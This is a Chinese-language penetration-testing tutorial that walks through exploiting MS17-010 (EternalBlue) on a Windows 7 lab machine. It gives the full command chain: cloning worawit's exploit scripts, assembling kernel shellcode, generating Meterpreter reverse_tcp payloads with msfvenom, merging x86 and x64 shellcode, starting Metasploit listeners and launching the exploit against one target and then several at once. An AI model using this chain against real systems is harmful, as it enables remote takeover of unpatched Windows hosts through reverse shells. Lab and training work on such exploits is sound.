前言

MS17-010已经过去很久了,利用PentestBox的方式也提到过,但都是基于python2.6那种方式实现的。本文将使用Sleepya 的脚本利用ETERNALBLUE来实现对Win7进行攻击,从而获取Meterpreter反弹。

靶机为Windows 7,IP为192.168.131.133。攻击机为Win10系统,安装了PentestBox,IP为192.168.217.1。
脚本下载地址:https://github.com/worawit/MS17-010

漏洞利用测试

1.安装NASM

下载地址:http://www.nasm.us/pub/nasm/releasebuilds/ ,我这里用的是2.13
然后开始安装。

安装NASM

安装完成后加入环境变量。

2.下载利用脚本,并编译内核shellcode

1
git clone https://github.com/worawit/MS17-010

下载脚本

编译内核shellcode

1
2
3
cd MS17-010/shellcode/
nasm -f bin eternalblue_kshellcode_x64.asm
nasm -f bin eternalblue_kshellcode_x86.asm

编译ASM文件

3.生成反弹exp

1
2
msfvenom -p windows/meterpreter/reverse_tcp  EXITFUNC=thread LHOST=192.168.217.1 LPORT=4445 -f raw -o ../../Git/MS17-010/shellcode/sc_x86_msf.bin
msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread LHOST=192.168.217.1 LPORT=4444 -f raw -o ../../Git/MS17-010/shellcode/sc_x64_msf.bin

生成反弹exp

4.合并SHELLCODE

1
2
3
cat eternalblue_kshellcode_x64 sc_x64_msf.bin > sc_x64.bin
cat eternalblue_kshellcode_x86 sc_x86_msf.bin > sc_x86.bin
python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin

合并SHELLCODE

5.开启Metasploit并监听

1
2
3
4
5
6
7
8
9
10
11
msf > use exploit/multi/handler
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set EXITFUNC thread
msf exploit(handler) > set LHOST 192.168.217.1
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit -j
...
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4445
msf exploit(handler) > exploit -j

开启监听

6.进行攻击

1
python eternalblue_exploit7.py 192.168.131.133 shellcode\sc_all.bin

利用生成的脚本攻击

攻击结果
看到已经获取Meterpreter反弹。

遇到的问题

在PentestBox中运行一些命令时(如msfconsole),提示不是内部或外部命令,也不是可运行的程序或批处理文件。
解决方法:输入cmd之后再输入需要执行的命令。
问题1

总结

1.这种方式利用稍微简单点,不需要过多的命令,而且生成的SHELLCODE也具有复用性。
2.在以上的操作中,均生成了32位和64位的shellcode,最后利用eternalblue_sc_merge脚本合并到一起。然后在Eternalblue漏洞中利用合并的shellcode可以支持x86和x64,无需再检测目标体系结构。
3.在使用中设置了线程,可以同时对多个系统进行攻击测试。
例如:

1
2
3
4
python eternalblue_exploit7.py 192.168.131.133 shellcode\sc_all.bin
python eternalblue_exploit7.py 192.168.131.134 shellcode\sc_all.bin
python eternalblue_exploit7.py 192.168.131.135 shellcode\sc_all.bin
python eternalblue_exploit7.py 192.168.131.136 shellcode\sc_all.bin

多个攻击
攻击结果:
多个攻击结果

参考

[1]https://github.com/worawit/MS17-010
[2]https://www.exploit-db.com/docs/42280.pdf